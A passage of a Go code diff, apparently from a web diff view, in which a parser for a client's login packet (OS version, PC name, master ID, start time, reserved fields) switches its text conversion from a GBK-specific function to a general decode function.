||||||
|
info.OsVerInfo = decode(data[OffsetOsVerInfoEx : OffsetOsVerInfoEx+156])
|
||||||
|
}
|
||||||
|
if len(data) >= OffsetPCName+240 {
|
||||||
|
info.PCName = decode(data[OffsetPCName : OffsetPCName+240])
|
||||||
|
}
|
||||||
|
if len(data) >= OffsetMasterID+20 {
|
||||||
|
info.MasterID = decode(data[OffsetMasterID : OffsetMasterID+20])
|
||||||
|
}
|
||||||
|
if len(data) >= OffsetStartTime+20 {
|
||||||
|
info.StartTime = decode(data[OffsetStartTime : OffsetStartTime+20])
|
||||||
|
}
|
||||||
if len(data) >= OffsetReserved+512 {
|
if len(data) >= OffsetReserved+512 {
|
||||||
info.Reserved = gbkToUTF8(data[OffsetReserved : OffsetReserved+512])
|
info.Reserved = decode(data[OffsetReserved : OffsetReserved+512])
|
||||||
} else if len(data) > OffsetReserved {
|
} else if len(data) > OffsetReserved {
|
||||||
info.Reserved = gbkToUTF8(data[OffsetReserved:])
|
info.Reserved = decode(data[OffsetReserved:])
|
||||||
}
|
}
|
||||||
|
|
||||||
return info, nil
|
return info, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseOsVersionInfo parses the OS version info field
|
|
||||||
// The C++ client fills this with a readable string like "Windows 10" via getSystemName()
|
|
||||||
func parseOsVersionInfo(data []byte) string {
|
|
||||||
return gbkToUTF8(data)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ParseReserved parses the reserved field into a slice of strings
|
// ParseReserved parses the reserved field into a slice of strings
|
||||||
func (info *LoginInfo) ParseReserved() []string {
|
func (info *LoginInfo) ParseReserved() []string {
|
||||||
if info.Reserved == "" {
|
if info.Reserved == "" {
|
||||||
|
|||||||